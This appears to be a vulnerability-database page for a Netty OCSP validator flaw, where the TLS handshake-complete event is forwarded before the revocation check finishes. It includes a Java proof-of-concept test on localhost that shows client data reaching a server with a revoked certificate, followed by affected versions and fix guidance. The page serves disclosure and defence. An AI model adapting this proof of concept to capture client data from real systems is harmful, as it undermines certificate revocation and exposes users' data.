CVE-2026-56822 — netty-handler-ssl-ocsp
HIGHCVE-2026-56822 is a high-severity (CVSS 7.4) CWE-367 vulnerability in io.netty:netty-handler-ssl-ocsp. A fix is available for io.netty:netty-handler-ssl-ocsp — see the affected versions and patch details below.
Netty: TOCTOU in OcspServerCertificateValidator
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-56822.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-56822 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
io.netty:netty-handler-ssl-ocsp☕io.netty:netty-handler-ssl-ocspReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.
Details
In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.
Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
OCSPRespBuilder respBuilder = new OCSPRespBuilder();
OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
byte[] responseEncoded = response.getEncoded();
IoTransport mockTransport = IoTransport.create(group.next(), () -> {
NioSocketChannel channel = new NioSocketChannel();
channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
@Override
public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
promise.setSuccess();
ctx.executor().schedule(() -> {
ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse);
}, 500, TimeUnit.MILLISECONDS);
}
});
return channel;
}, NioDatagramChannel::new);
X509Bundle caRoot = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TrustedRootCA")
.setIsCertificateAuthority(true)
.buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
X509Bundle targetCert = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TargetServer")
.addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
.buildIssuedBy(caRoot);
SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();
CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();
CountDownLatch dataReceivedLatch = new CountDownLatch(1);
new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {
@Override
protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {
receivedData.add(msg.toString(CharsetUtil.UTF_8));
dataReceivedLatch.countDown();
}
});
}
})
.bind(8080)
.sync()
.channel();
SslContext clientSslCtx = SslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.build();
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);
Channel clientChannel = new Bootstrap()
.group(group)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080));
ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));
ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
if (evt instanceof SslHandshakeCompletionEvent) {
SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
if (sslEvent.isSuccess()) {
ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
}
}
ctx.fireUserEventTriggered(evt);
}
});
}
})
.connect("127.0.0.1", 8080)
.sync()
.channel();
assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));
Thread.sleep(200);
assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data.");
} finally {
group.shutdownGracefully();
}
}
Impact
TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-handler-ssl-ocsp | ≥ 4.2.0.Final&&< 4.2.16.Final | 4.2.16.Finalio.netty:netty-handler-ssl-ocsp:4.2.16.Final |
| ☕Maven | io.netty:netty-handler-ssl-ocsp | all versions | 4.1.136.Finalio.netty:netty-handler-ssl-ocsp:4.1.136.Final |
Affected Products
nettynettyDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-handler-ssl-ocsp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-handler-ssl-ocsp to 4.2.16.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56822 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Moderate impact vulnerability in the `netty-handler-ssl-ocsp` component, present in Red Hat products such as JBoss Data Grid, Enterprise Application Platform, and Red Hat build of Apache Camel, involves a time-of-check/time-of-use (TOCTOU) race condition within its OCSP stapling validator. This flaw could allow…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-56822 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-56822 in your dependencies?
Find it across Maven, including transitive dependencies.